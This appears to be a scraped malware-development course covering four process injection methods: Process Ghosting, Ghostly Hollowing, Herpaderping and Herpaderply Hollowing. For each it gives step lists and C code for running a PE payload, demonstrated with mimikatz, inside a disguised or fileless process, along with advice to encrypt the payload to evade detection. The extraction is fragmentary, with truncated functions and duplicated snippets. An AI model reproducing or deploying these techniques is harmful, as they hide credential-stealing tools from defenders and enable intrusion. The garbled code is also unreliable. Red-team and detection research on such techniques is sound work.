Professional Documents
Culture Documents
Maldev Update 9
Maldev Update 9
Introduction
Throughout the course, several PE injection methods were discussed such as RunPE (local injection) and Process Hollowing (remote injection).
This module will cover another remote PE injection method that's referred to as Ghost Process Injection or Process Ghosting. In Process Ghosting, the process's executable image is
deleted before the process is launched, leading the process to appear without a name when viewed in Process Hacker.
1. Fetch a PE payload. This module simplifies the fetching of the PE payload and simply reads it from disk. In an ideal situation, you should encrypt the payload and store it in the
resource section.
2. Create an empty file on the disk. In this module, we will create a .tmp file in the $env:TMP directory. This file will be overwritten with the PE payload at a later step.
3. Create a ghost section from the temporary file. A ghost section is created by calling NtCreateSection to create a section from the delete-pending .tmp file, closing the file handle,
and deleting the file from the disk.
4. Create a process from the ghost section created by calling the NtCreateProcessEx syscall.
5. Write the process parameters and the environment block manually to the created process.
6. Fetch the PE payload's entry point and execute it via a new thread creation.
The image below illustrates the aforementioned steps. It also shows which steps occur in memory and on disk.
BOOL ReadPayloadFile(IN LPWSTR szFileName, OUT PBYTE* ppFileBuffer, OUT PDWORD pdwFileSize) {
if (!(pTmpReadBuffer = ALLOC(dwFileSize))) {
PRNT_WN_ERR(TEXT("LocalAlloc"));
goto _FUNC_CLEANUP;
}
*ppFileBuffer = pTmpReadBuffer;
*pdwFileSize = dwFileSize;
_FUNC_CLEANUP:
DELETE_HANDLE(hFile);
if (pTmpReadBuffer && !*ppFileBuffer)
FREE(pTmpReadBuffer);
return *ppFileBuffer == NULL ? FALSE : TRUE;
}
Since the generated temporary file will eventually be passed to NtOpenFile in the next steps, the file's path should be in NT path format. The standard path format is converted to an
NT format using the wsprintf function. The following snippet shows how to call the GetTempPathW and GetTempFileNameW WinAPIs to generate a temporary file.
} NT_API_FP, * PNT_API_FP;
int main() {
if (!(hNtdll = GetModuleHandle(TEXT("NTDLL"))))
return -1;
// ...
CreateGhostSection Function
The following steps must be followed in order to create a ghost section from the .tmp file.
Fetch handle with delete permission to the created .tmp file. This step is done using the NtOpenFile syscall.
Change file handle information to delete on close. This step is done using the NtSetInformationFile syscall.
Overwrite the .tmp file content with the PE payload.
Create a section handle from the .tmp file handle. This step is done using the NtCreateSection syscall.
Close the file handle, deleting the .tmp file.
The CreateGhostSection function will perform all of the aforementioned steps. The function has the following parameters:
szFileName The path to the created temporary file in the NT path format.
pFileBuffer The base address of the PE payload.
dwFileSize The size of the PE payload file.
phGhostSection A pointer to a HANDLE variable that will receive the ghost section handle.
After invoking CreateGhostSection , a section handle will be created for the deleted temporary file containing the PE payload.
BOOL CreateGhostSection(IN LPWSTR szFileName, IN PVOID pFileBuffer, IN DWORD dwFileSize, OUT HANDLE* phGhostSection) {
RtlInitUnicodeString(&uFileName, szFileName);
InitializeObjectAttributes(&ObjectAttr, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteFile(hFileHandle, NULL, NULL, NULL, &StatusBlock, pFileBuffer, dwFileSize, &ByteOffset, NULL)))) {
PRNT_NT_ERR(TEXT("NtWriteFile"), STATUS);
goto _FUNC_CLEANUP;
}
*phGhostSection = hSection;
_FUNC_CLEANUP:
DELETE_HANDLE(hFileHandle);
if (!*phGhostSection) {
DELETE_HANDLE(hSection);
}
return *phGhostSection ? TRUE : FALSE;
}
szLegitPeFile A path to a legitimate Windows executable image. This image will not be executed but instead, it will be used to fill up the process's executable image path in the
command line of the ghost process. This parameter can include command-line arguments to the PE payload (e.g. L"C:\\Windows\\system32\\RuntimeBroker.exe coffee" ).
hGhostSection A handle to the ghost section. This parameter is fetched after calling the CreateGhostSection function.
pPayloadPeBuffer A pointer to the PE payload. This is required to fetch the PE's entry point RVA.
The code snippet below is the first part of the CreateGhostProcess function which creates the ghost process.
// ...
From a programmatical perspective, the ghost process is missing the PRTL_USER_PROCESS_PARAMETERS ProcessParameters element in the PEB structure. The following elements must
be initialized in the RTL_USER_PROCESS_PARAMETERS structure before writing it into the ghost process:
These elements can be initialized by calling the RtlCreateProcessParametersEx NtAPI, which accepts the values of the aforementioned elements. The value of the Environment
element can be retrieved by calling the CreateEnvironmentBlock WinAPI, whereas the rest of the required elements will be fetched manually.
Since ProcessParameters->Environment can be located either above the PEB.ProcessParameters address or below it, one of the following scenarios may occur:
Another role of the InitializeProcessParms function is to retrieve the address of the mapped PE payload image inside the remote process. This address is required to calculate the
entry point of the PE payload and is fetched by reading the PEB structure using the NtQueryInformationProcess and NtReadVirtualMemory syscalls.
hProcess A handle to the created ghost process. This is retrieved by calling NtCreateProcessEx .
szTargetProcess The path to a legitimate Windows executable image. This is the same as the szLegitPeFile parameter in the CreateGhostProcess function.
ppImageBase A pointer to a PVOID variable that will receive the address of the mapped PE payload image.
/*
* szTargetProcess - L"C:\\Windows\\system32\\RuntimeBroker.exe coffee" (UNICODE_STRING UsCommandLine)
* pwcDuplicateStr - L"C:\\Windows\\system32" (UNICODE_STRING UsCurrentDirectory)
* pwcDuplicateStr2 - L"C:\\Windows\\system32\\RuntimeBroker.exe" (UNICODE_STRING UsNtImagePath)
*/
if (!(pwcDuplicateStr = _wcsdup(szTargetProcess)))
return FALSE;
if (!(pwcDuplicateStr2 = _wcsdup(szTargetProcess)))
return FALSE;
RtlInitUnicodeString(&UsCommandLine, szTargetProcess);
RtlInitUnicodeString(&UsCurrentDirectory, pwcDuplicateStr);
RtlInitUnicodeString(&UsNtImagePath, pwcDuplicateStr2);
// Read PEB
if (!NT_SUCCESS((STATUS = g_NtApi.pNtReadVirtualMemory(hProcess, ProcInfo.PebBaseAddress, &Peb, sizeof(PEB), NULL)))) {
PRNT_NT_ERR(TEXT("NtReadVirtualMemory"), STATUS);
return FALSE;
}
uUserEnvAndParmsBaseAddress = pUserProcParms;
uUserEnvAndParmsEndAddress = (ULONG_PTR)pUserProcParms + pUserProcParms->Length;
if (pUserProcParms->Environment) {
// Calculate size
sUserEnvAndParmsSize = uUserEnvAndParmsEndAddress - uUserEnvAndParmsBaseAddress;
// Write 'Peb.ProcessParameters'
if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteVirtualMemory(hProcess, pUserProcParms, pUserProcParms, pUserProcParms->Length, &sNumberOfBytesWritten)))) {
PRNT_NT_ERR(TEXT("NtWriteVirtualMemory [1]"), STATUS);
return FALSE;
}
if (pUserProcParms->Environment) {
// Write 'Peb.ProcessParameters->Environment'
if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteVirtualMemory(hProcess, (LPVOID)(pUserProcParms->Environment), (LPVOID)pUserProcParms->Environment,
pUserProcParms->EnvironmentSize, &sNumberOfBytesWritten)))) {
PRNT_NT_ERR(TEXT("NtWriteVirtualMemory [2]"), STATUS);
printf("[i] Wrote %d Of %d Bytes \n", sNumberOfBytesWritten, pUserProcParms->EnvironmentSize);
return FALSE;
}
}
// Update the address of the 'ProcessParameters' element in remote process to point to the new location
if (!NT_SUCCESS((STATUS = g_NtApi.pNtWriteVirtualMemory(hProcess, &ProcInfo.PebBaseAddress->ProcessParameters, &pUserProcParms, sizeof(PVOID),
&sNumberOfBytesWritten)))) {
PRNT_NT_ERR(TEXT("NtWriteVirtualMemory [3]"), STATUS);
printf("[i] Wrote %d Of %d Bytes \n", sNumberOfBytesWritten, sizeof(PVOID));
return FALSE;
}
return TRUE;
}
return pImgNtHdrs->OptionalHeader.AddressOfEntryPoint;
}
if (!(dwEntryPntRVA = FetchEntryPntOffset(pPayloadPeBuffer)))
goto _FUNC_CLEANUP;
if (!NT_SUCCESS(g_NtApi.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pEntryPnt, NULL, FALSE, 0x00, 0x00, 0x00, NULL))) {
PRNT_NT_ERR(TEXT("NtCreateThreadEx"), STATUS);
goto _FUNC_CLEANUP;
}
bResult = TRUE;
_FUNC_CLEANUP:
DELETE_HANDLE(hGhostSection);
DELETE_HANDLE(hProcess);
DELETE_HANDLE(hThread);
return bResult;
}
Demo
The images below show the process ghosting technique executing a PE payload ( mimikatz.exe ) in a remote process address space.
The process of PID 26560 in Process Hacker. The general tab shows the manually written command line of the process.
Process Hacker showing that the image mapped at 0x00007FF79DC90000 is RuntimeBroker.exe , where it should be mimikatz.exe instead.
Ghostly Hollowing
Introduction
Ghostly Hollowing is a hybrid technique between Process Hollowing and Process Ghosting. In Process Ghosting, a ghost section was used to create the remote process using the
NtCreateProcessEx syscall. In Ghostly Hollowing, the created section will be mapped into a normally-created Windows process. This is then followed by patching the
ImageBaseAddress member of the PEB structure. Finally, the PE payload's entry point is executed by hijacking the main thread of the created process.
Before going further, it is advised to go through the Process Hollowing and Ghost Process Injection modules.
1. Fetch a PE payload. This module simplifies the fetching of the PE payload and simply reads it from disk. In an ideal situation, you should encrypt the payload and store it in the
resource section.
2. Create an empty file on the disk. In this module, we will create a .tmp file in the $env:TMP directory. This file will be overwritten with the PE payload.
3. Create a ghost section from the temporary file. A ghost section is created by calling NtCreateSection to create a section from the delete-pending .tmp file, closing the file handle,
and deleting the file from the disk.
4. Create a remote process using the CreateProcess WinAPI and map the ghost section.
5. Patch the ImageBaseAddress element of the PEB structure to point to the mapped ghost section. And execute the PE payload's entry point via thread hijacking.
The image below illustrates the aforementioned steps. It also shows which steps occur in memory and on disk.
Steps 1-3
Steps 1 to 3 are implemented the same way as mentioned in the Ghost Process Injection module. These steps will not be re-explained again in this module, therefore the reader should
review these steps in the Ghost Process Injection module. For reference, these steps are:
Step 1 PE Payload Fetching: This step explained how to read the PE payload from the disk.
Step 2 Creating A Temporary File: This step explained how to create the .tmp file which will eventually be overwritten with the PE payload.
Step 3 Create A Ghost Section: This step explained how to create the ghost section from the temporary file.
szLegitPeFile A path to a legitimate Windows executable image that will be used to create the remote target process. This parameter can include command-line arguments to
the PE payload (e.g. L"C:\\Windows\\system32\\RuntimeBroker.exe coffee" ).
hGhostSection A handle of the ghost section created. This parameter is fetched after calling the CreateGhostSection function.
pPayloadPeBuffer A pointer to the PE payload. This is required to fetch the PE's entry point RVA.
The code snippet below shows the first part of the CreateGhostHollowingProcess function that performs the remote process creation and the mapping of the ghost section.
RtlSecureZeroMemory(&StartupInfo, sizeof(STARTUPINFOW));
RtlSecureZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
StartupInfo.cb = sizeof(STARTUPINFOW);
// ----------------------------------------
if (!CreateProcessW(NULL, szLegitPeImg, NULL, NULL, TRUE, (CREATE_SUSPENDED | CREATE_NEW_CONSOLE), NULL, pwcDuplicateStr, &StartupInfo, &ProcessInfo)) {
PRNT_WN_ERR(TEXT("CreateProcessW"));
goto _FUNC_CLEANUP;
}
// ----------------------------------------
if (!NT_SUCCESS((STATUS = g_NtApi.pNtMapViewOfSection(hGhostSection, ProcessInfo.hProcess, &pBaseAddress, NULL, NULL, NULL, &sViewSize, ViewUnmap, NULL,
PAGE_READONLY)))) {
PRNT_NT_ERR(TEXT("NtMapViewOfSection"), STATUS);
goto _FUNC_CLEANUP;
}
printf("[i] Base Address Of The Mapped Ghost Section: 0x%p \n", pBaseAddress);
// ----------------------------------------
// ...
// ...
// ...
Patching the remote process's PEB structure and executing the PE payload's entry point are both done in the same function, HijackRemoteProcessExecution . Since the address to the
remote PEB structure is fetched through the thread's context (recall that the PPEB is located at the RDX register), furthermore, we can set the RCX register value to point to our PE
payload's entry point.
hProcess A handle to the remote process. This can be provided through the CreateProcessW WinAPI.
hThread A handle to the process's main thread. This can be provided through the CreateProcessW WinAPI.
pRemoteBaseAddress The base address of the mapped section in the remote process. This can be provided through the NtMapViewOfSection WinAPI.
dwEntryPointRVA The RVA to the entry point of the PE payload. This can be provided through the FetchEntryPntOffset function, which was used in the previous module but is
shown below for reference.
return pImgNtHdrs->OptionalHeader.AddressOfEntryPoint;
}
HijackRemoteProcessExecution Function
The HijackRemoteProcessExecution function is shown below and performs the aforementioned actions.
BOOL HijackRemoteProcessExecution(IN HANDLE hProcess, IN HANDLE hThread, IN PVOID pRemoteBaseAddress, IN DWORD dwEntryPointRVA) {
return TRUE;
}
RtlSecureZeroMemory(&StartupInfo, sizeof(STARTUPINFOW));
RtlSecureZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
StartupInfo.cb = sizeof(STARTUPINFOW);
if (!(pwcDuplicateStr = _wcsdup(szLegitPeImg)))
return FALSE;
// ----------------------------------------
if (!CreateProcessW(NULL, szLegitPeImg, NULL, NULL, TRUE, (CREATE_SUSPENDED | CREATE_NEW_CONSOLE), NULL, pwcDuplicateStr, &StartupInfo, &ProcessInfo)) {
PRNT_WN_ERR(TEXT("CreateProcessW"));
goto _FUNC_CLEANUP;
}
// ----------------------------------------
if (!NT_SUCCESS((STATUS = g_NtApi.pNtMapViewOfSection(hGhostSection, ProcessInfo.hProcess, &pBaseAddress, NULL, NULL, NULL, &sViewSize, ViewUnmap, NULL,
PAGE_READONLY)))) {
PRNT_NT_ERR(TEXT("NtMapViewOfSection"), STATUS);
goto _FUNC_CLEANUP;
}
printf("[i] Base Address Of The Mapped Ghost Section: 0x%p \n", pBaseAddress);
// ----------------------------------------
if (!(dwEntryPntRVA = FetchEntryPntOffset(pPayloadPeBuffer)))
goto _FUNC_CLEANUP;
// ----------------------------------------
bResult = TRUE;
_FUNC_CLEANUP:
if (pwcDuplicateStr)
free(pwcDuplicateStr);
DELETE_HANDLE(ProcessInfo.hProcess);
DELETE_HANDLE(ProcessInfo.hThread);
DELETE_HANDLE(hGhostSection);
return bResult;
}
Demo
The images below showcase the execution of mimikatz.exe in the address space of a RuntimeBroker.exe process.
As the image below shows, the RuntimeBroker.exe process is created with a process identifier PID equal to 2376 .
A ghost section is mapped to the address 0x00007FF6DD80000 . Notice how it's mapped alongside the process's image, RuntimeBroker.exe , at 0x00007FF6B720000 , and not replacing it
as was done in Process Ghosting.
Module 41 Herpaderping Process Injection
Introduction
Process Herpaderping is another PE injection method that can be used to inject a PE payload into a remote process. Similar to Process Ghosting, Process Herpaderping overwrites an
existing file on disk with the payload, then utilizes the NtCreateSection and NtCreateProcessEx syscalls to create the remote process out of the overwritten file's opened handle. In
Process Herpaderping, the target process's executable image represents a legit Windows executable image as shown in the following image.
It is advised that the reader has read and understood the Ghost Process Injection and Ghostly Hollowing modules before advancing on.
1. Fetch a PE payload. This module simplifies the fetching of the PE payload and simply reads it from disk. In an ideal situation, you should encrypt the payload and store it in the
resource section.
2. Create an empty file on the disk. In this module, we will create a .tmp file in the $env:TMP directory. This file will be overwritten with the PE payload at a later step.
3. Overwrite the temporary file with the PE payload.
4. Create a section handle of the temporary file in the current state, using the NtCreateSection syscall.
5. Create a process from the previously created section, using the NtCreateProcessEx syscall.
6. Overwrite the temporary file's content with a legitimate Windows PE.
7. Write the process parameters and the environment block manually to the created process.
8. Fetch the PE payload's entry point and execute it through a newly created thread.
The image below illustrates the aforementioned steps. It also shows which steps occur in memory and on disk.
BOOL ReadPayloadFile(IN LPWSTR szFileName, OUT PBYTE* ppFileBuffer, OUT PDWORD pdwFileSize) {
if (!(pTmpReadBuffer = ALLOC(dwFileSize))) {
PRNT_WN_ERR(TEXT("LocalAlloc"));
goto _FUNC_CLEANUP;
}
*ppFileBuffer = pTmpReadBuffer;
*pdwFileSize = dwFileSize;
_FUNC_CLEANUP:
DELETE_HANDLE(hFile);
if (pTmpReadBuffer && !*ppFileBuffer)
FREE(pTmpReadBuffer);
return *ppFileBuffer == NULL ? FALSE : TRUE;
}
The snippet below generates a temporary file using the aforementioned WinAPIs and then uses swprintf_s to append the temporary file's path with the arguments that will be passed
to the PE Payload. For this example, we're simply going to execute Mimikatz's "coffee" command.
The OverWriteTheTmpFile function is used to overwrite a specified file. It can retrieve the source file buffer (i.e. the data that's to be written) either through a file handle or a pointer to
the source file buffer. OverWriteTheTmpFile accepts the following parameters.
hSourceFile An optional parameter that represents the handle of the source file from which the data will be fetched and then written to the specified destination file.
pSourceBuffer An optional parameter that represents the base address of the source file buffer.
dwSourceBufferSize An optional parameter that represents the size of the source file buffer.
hDestinationFile A handle to the destination file to be overwritten.
bOverWriteByHandle This is a flag parameter that determines how the source file buffer is retrieved. If this parameter is set to TRUE then the function will use the hSourceFile
parameter to fetch the source file buffer. Otherwise, the function will use the pSourceBuffer and dwSourceBufferSize parameters.
BOOL OverWriteTheTmpFile(IN OPTIONAL HANDLE hSourceFile, IN OPTIONAL PBYTE pSourceBuffer, IN OPTIONAL DWORD dwSourceBufferSize, IN HANDLE hDestinationFile, IN
BOOL bOverWriteByHandle) {
if (bOverWriteByHandle) {
if (!FlushFileBuffers(hDestinationFile)) {
PRNT_WN_ERR(TEXT("FlushFileBuffers"));
goto _END_OF_FUNC;
}
if (!SetEndOfFile(hDestinationFile)) {
PRNT_WN_ERR(TEXT("SetEndOfFile"));
goto _END_OF_FUNC;
}
bResult = TRUE;
_END_OF_FUNC:
if (pPeFileBuffer && bOverWriteByHandle)
LocalFree(pPeFileBuffer);
return bResult;
}
The OverWriteTheTmpFile function will be called twice within our implementation: once to write the PE payload to the temporary file, and again to overwrite the temporary file with the
legitimate Windows PE image.
} NT_API_FP, *PNT_API_FP;
int main() {
if (!(hNtdll = GetModuleHandle(TEXT("NTDLL"))))
return -1;
// ...
After populating the NT_API_FP structure, one can proceed to invoke the NtCreateSection syscall to create a section from the opened handle of the temporary file. It's important to
note that NtCreateSection is called only after the OverWriteTheTmpFile function has been invoked to write the payload into the temporary file.
hProcess A handle to the created ghost process. This is retrieved by calling NtCreateProcessEx .
szTargetProcess The path to a legitimate Windows executable image. This is the same as the szLegitPeFile parameter in the CreateGhostProcess function.
ppImageBase A pointer to a PVOID variable that will receive the address of the mapped PE payload image.
/*
* szTargetProcess - L"C:\\Users\\User\\AppData\\Local\\Temp\\PHXXXX.tmp coffee" (UNICODE_STRING UsCommandLine)
* pwcDuplicateStr - L"L"C:\\Users\\User\\AppData\\Local\\Temp" (UNICODE_STRING UsCurrentDirectory)
* pwcDuplicateStr2 - L"C:\\Users\\User\\AppData\\Local\\Temp\\PHXXXX.tmp" (UNICODE_STRING UsNtImagePath)
*/
if (!(pwcDuplicateStr = _wcsdup(szTargetProcess)))
goto _END_OF_FUNC;
if (!(pwcDuplicateStr2 = _wcsdup(szTargetProcess)))
goto _END_OF_FUNC;
RtlInitUnicodeString(&UsCommandLine, szTargetProcess);
RtlInitUnicodeString(&UsCurrentDirectory, pwcDuplicateStr);
RtlInitUnicodeString(&UsNtImagePath, pwcDuplicateStr2);
// Read PEB
if (!NT_SUCCESS((STATUS = g_NtApi.pNtReadVirtualMemory(hProcess, ProcInfo.PebBaseAddress, &Peb, sizeof(PEB), NULL)))) {
PRNT_NT_ERR(TEXT("NtReadVirtualMemory"), STATUS);
goto _END_OF_FUNC;
}
uUserEnvAndParmsBaseAddress = pUserProcParms;
uUserEnvAndParmsEndAddress = (ULONG_PTR)pUserProcParms + pUserProcParms->Length;
if (pUserProcParms->Environment) {
// Calculate size
sUserEnvAndParmsSize = uUserEnvAndParmsEndAddress - uUserEnvAndParmsBaseAddress;
if (pUserProcParms->Environment) {
bResult = TRUE;
_END_OF_FUNC:
if (pwcDuplicateStr)
free(pwcDuplicateStr);
if (pwcDuplicateStr2)
free(pwcDuplicateStr2);
return bResult;
}
return pImgNtHdrs->OptionalHeader.AddressOfEntryPoint;
}
BOOL HerpaderpProcess(IN LPWSTR szTmpFileName, IN LPWSTR szLegitPeImgFile, IN PBYTE pPeFileBuffer, IN DWORD dwPeFileSize) {
// ----------------------------------------
if (!(dwEntryPointOffset = FetchPeEntryPointOffset(pPeFileBuffer)))
return FALSE;
// ----------------------------------------
// ----------------------------------------
// ----------------------------------------
// Write the PE payload file (pPeFileBuffer, dwPeFileSize) to the .tmp PE file (hTmpPeFile)
if (!OverWriteTheTmpFile(NULL, pPeFileBuffer, dwPeFileSize, hTmpPeFile, FALSE))
goto _END_OF_FUNC;
printf("[+] Wrote The Payload File To The Created Temporary File \n");
// ----------------------------------------
printf("[i] Created A Section Handle Of The Temporary File: 0x%0.8X \n", hSection);
// ----------------------------------------
DELETE_HANDLE(hSection);
// ----------------------------------------
printf("[i] Overwrote The Temporary File With The Legitmate Binary \n");
DELETE_HANDLE(hTmpPeFile);
DELETE_HANDLE(hLegitPeFile);
// ----------------------------------------
// ----------------------------------------
if ((STATUS = g_NtApi.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pEntryPnt, NULL, 0x00, 0x00, 0x00, 0x00, NULL)) != 0x00) {
PRNT_NT_ERR(TEXT("pNtCreateThreadEx"), STATUS);
goto _END_OF_FUNC;
}
// ----------------------------------------
bResult = TRUE;
_END_OF_FUNC:
if (pwcDuplicateStr)
free(pwcDuplicateStr);
DELETE_HANDLE(hTmpPeFile);
DELETE_HANDLE(hLegitPeFile);
DELETE_HANDLE(hSection);
return bResult;
}
Demo
The images below demonstrate the Process Herpaderping technique in executing a PE payload ( mimikatz.exe ) within a remote process.
The process with PID 13004 in Process Hacker. The general tab shows the manually written command line of the process.
Our implementation uses the Windows binary aistatic.exe to overwrite the PE payload in the temporary file. Therefore, when checking the PH3028.tmp file's digital signature serial
number and comparing it to the aitstatic.exe binary, it matches the digital signature's serial number.
Although the PH3028.tmp file is aitstatic.exe on the disk, it contains the mimikatz.exe image in memory. The image below shows mimikatz.exe 's .text section on the disk versus
PH3028.tmp 's .text section in memory.
Module 42 Herpaderply Hollowing
Herpaderply Hollowing
Introduction
Herpaderply Hollowing is a hybrid technique between Herpaderping Process Injection and Process Hollowing. Furthermore, when a "Herpaderp section" is created (i.e. similar to a
Ghost section from previous modules), it will not be used to directly create a remote target process. Instead, it will emulate what was done in the Ghostly Hollowing module where the
section is mapped into a legitimate Windows process. This is then followed by patching the ImageBaseAddress element of the remote PEB structure before performing thread hijacking
to run the payload's entry point.
1. Fetch a PE payload. This module simplifies the fetching of the PE payload and simply reads it from disk. In an ideal situation, you should encrypt the payload and store it in the
resource section.
2. Create an empty file on the disk. In this module, we will create a .tmp file in the $env:TMP directory. This file will be overwritten with the PE payload at a later step.
3. Create a Herpaderp section of the temporary file in the current state through the use of the NtCreateSection syscall.
4. Create a remote process using the CreateProcess WinAPI and map the Herpaderp section.
5. Overwrite the temporary file with a legitimate Windows binary.
6. Patch the ImageBaseAddress element of the PEB structure to point to the mapped ghost section. And execute the PE payload's entry point via thread hijacking.
The image below illustrates the aforementioned steps. It also shows which steps occur in memory and on disk.
Steps 1-3
Steps 1 to 3 are implemented the same way as mentioned in the Herpaderping Process Injection module. These steps will not be re-explained again in this module, therefore the reader
should review these steps in the Herpaderping Process Injection module. For reference, these steps are:
Step 1 PE Payload Fetching: This step explained how to read the PE payload from the disk.
Step 2 Creating A Temporary File: This step explained how to create the .tmp file which will eventually be overwritten with the PE payload.
Step 3 Overwrite The Temporary File With Payload: This step explained how to overwrite the temporary file with the PE payload.
Reviewing OverWriteTheTmpFile
The OverWriteTheTmpFile function was first introduced in the Herpaderping Process Injection module, where it was used to overwrite a specified file.
The OverWriteTheTmpFile function can retrieve the source file buffer (i.e. the data that's to be written) either through a file handle or a pointer to the source file buffer.
OverWriteTheTmpFile accepts the following parameters.
hSourceFile An optional parameter that represents the handle of the source file from which the data will be fetched and then written to the specified destination file.
pSourceBuffer An optional parameter that represents the base address of the source file buffer.
dwSourceBufferSize An optional parameter that represents the size of the source file buffer.
hDestinationFile A handle to the destination file to be overwritten.
bOverWriteByHandle This is a flag parameter that determines how the source file buffer is retrieved. If this parameter is set to TRUE then the function will use the hSourceFile
parameter to fetch the source file buffer. Otherwise, the function will use the pSourceBuffer and dwSourceBufferSize parameters.
BOOL OverWriteTheTmpFile(IN OPTIONAL HANDLE hSourceFile, IN OPTIONAL PBYTE pSourceBuffer, IN OPTIONAL DWORD dwSourceBufferSize, IN HANDLE hDestinationFile, IN
BOOL bOverWriteByHandle) {
if (bOverWriteByHandle) {
if (!FlushFileBuffers(hDestinationFile)) {
PRNT_WN_ERR(TEXT("FlushFileBuffers"));
goto _END_OF_FUNC;
}
if (!SetEndOfFile(hDestinationFile)) {
PRNT_WN_ERR(TEXT("SetEndOfFile"));
goto _END_OF_FUNC;
}
bResult = TRUE;
_END_OF_FUNC:
if (pPeFileBuffer && bOverWriteByHandle)
LocalFree(pPeFileBuffer);
return bResult;
}
Back to the CreateHerpaderplyHollowingProcess function, where the first part of it is shown below. This part begins by opening file handles to both the temporary file and the
legitimate Windows image. Then, CreateHerpaderplyHollowingProcess proceeds to call OverWriteTheTmpFile to write the payload into the temporary file, create a section, and then a
remote process. Finally, it maps the created section to the created process using the NtMapViewOfSection syscall.
BOOL CreateHerpaderplyHollowingProcess(IN LPWSTR szTmpFileName, IN LPWSTR szLegitPeImgFile, IN PBYTE pPeFileBuffer, IN DWORD dwPeFileSize) {
RtlSecureZeroMemory(&StartupInfo, sizeof(STARTUPINFOW));
RtlSecureZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
StartupInfo.cb = sizeof(STARTUPINFOW);
// ----------------------------------------
/*
* szLegitPeImgFile - L"C:\\Windows\\System32\\aitstatic.exe coffee"
* pwcDuplicateStr - L"C:\\Windows\\system32\\"
* pwcDuplicateStr2 - L"C:\\Windows\\System32\\aitstatic.exe"
*/
// ----------------------------------------
// ----------------------------------------
// Write the PE payload file (pPeFileBuffer, dwPeFileSize) to the .tmp PE file (hTmpPeFile)
if (!OverWriteTheTmpFile(NULL, pPeFileBuffer, dwPeFileSize, hTmpPeFile, FALSE))
goto _FUNC_CLEANUP;
printf("[+] Wrote The Payload File To The Created Temporary File \n");
// ----------------------------------------
printf("[i] Created A Section Handle Of The Temporary File: 0x%0.8X \n", hSection);
// ----------------------------------------
if (!CreateProcessW(NULL, szLegitPeImgFile, NULL, NULL, TRUE, (CREATE_SUSPENDED | CREATE_NEW_CONSOLE), NULL, pwcDuplicateStr, &StartupInfo, &ProcessInfo))
{
PRNT_WN_ERR(TEXT("CreateProcessW"));
goto _FUNC_CLEANUP;
}
// ----------------------------------------
if (!NT_SUCCESS((STATUS = g_NtApi.pNtMapViewOfSection(hSection, ProcessInfo.hProcess, &pBaseAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL,
PAGE_READONLY)))) {
PRNT_NT_ERR(TEXT("NtMapViewOfSection"), STATUS);
goto _FUNC_CLEANUP;
}
printf("[i] Base Address Of The Mapped Herpaderped Section: 0x%p \n", pBaseAddress);
DELETE_HANDLE(hSection);
// ----------------------------------------
// ...
Patching the remote process's PEB structure and executing the PE payload's entry point are both done in the same function, HijackRemoteProcessExecution . Since the address to the
remote PEB structure is fetched through the thread's context (recall that the PPEB is located at the RDX register), we can set the RCX register value to point to our PE payload's entry
point.
hProcess A handle to the remote process. This can be provided through the CreateProcessW WinAPI.
hThread A handle to the process's main thread. This can be provided through the CreateProcessW WinAPI.
pRemoteBaseAddress The base address of the mapped section in the remote process. This can be provided through the NtMapViewOfSection WinAPI.
dwEntryPointRVA The RVA to the entry point of the PE payload. This can be provided through the FetchEntryPntOffset function, which was used in the previous module but is
shown below for reference.
BOOL HijackRemoteProcessExecution(IN HANDLE hProcess, IN HANDLE hThread, IN PVOID pRemoteBaseAddress, IN DWORD dwEntryPointRVA) {
bSTATE = TRUE;
_FUNC_CLEANUP:
return bSTATE;
}
CreateHerpaderplyHollowingProcess Function
The code below is the complete CreateHerpaderplyHollowingProcess function.
BOOL CreateHerpaderplyHollowingProcess(IN LPWSTR szTmpFileName, IN LPWSTR szLegitPeImgFile, IN PBYTE pPeFileBuffer, IN DWORD dwPeFileSize) {
RtlSecureZeroMemory(&StartupInfo, sizeof(STARTUPINFOW));
RtlSecureZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
StartupInfo.cb = sizeof(STARTUPINFOW);
// ----------------------------------------
/*
* szLegitPeImgFile - L"C:\\Windows\\System32\\aitstatic.exe coffee"
* pwcDuplicateStr - L"C:\\Windows\\system32\\"
* pwcDuplicateStr2 - L"C:\\Windows\\System32\\aitstatic.exe"
*/
// ----------------------------------------
// ----------------------------------------
// Write the PE payload file (pPeFileBuffer, dwPeFileSize) to the .tmp PE file (hTmpPeFile)
if (!OverWriteTheTmpFile(NULL, pPeFileBuffer, dwPeFileSize, hTmpPeFile, FALSE))
goto _FUNC_CLEANUP;
printf("[+] Wrote The Payload File To The Created Temporary File \n");
// ----------------------------------------
printf("[i] Created A Section Handle Of The Temporary File: 0x%0.8X \n", hSection);
// ----------------------------------------
if (!CreateProcessW(NULL, szLegitPeImgFile, NULL, NULL, TRUE, (CREATE_SUSPENDED | CREATE_NEW_CONSOLE), NULL, pwcDuplicateStr, &StartupInfo, &ProcessInfo))
{
PRNT_WN_ERR(TEXT("CreateProcessW"));
goto _FUNC_CLEANUP;
}
// ----------------------------------------
if (!NT_SUCCESS((STATUS = g_NtApi.pNtMapViewOfSection(hSection, ProcessInfo.hProcess, &pBaseAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL,
PAGE_READONLY)))) {
PRNT_NT_ERR(TEXT("NtMapViewOfSection"), STATUS);
goto _FUNC_CLEANUP;
}
printf("[i] Base Address Of The Mapped Herpaderped Section: 0x%p \n", pBaseAddress);
DELETE_HANDLE(hSection);
// ----------------------------------------
printf("[i] Overwrote The Temporary File With The Legitmate Binary \n");
DELETE_HANDLE(hTmpPeFile);
DELETE_HANDLE(hLegitPeFile);
// ----------------------------------------
if (!(dwEntryPntRVA = FetchEntryPntOffset(pPeFileBuffer)))
goto _FUNC_CLEANUP;
// ----------------------------------------
bResult = TRUE;
_FUNC_CLEANUP:
if (pwcDuplicateStr)
free(pwcDuplicateStr);
if (pwcDuplicateStr2)
free(pwcDuplicateStr2);
DELETE_HANDLE(hTmpPeFile);
DELETE_HANDLE(hLegitPeFile);
DELETE_HANDLE(hSection);
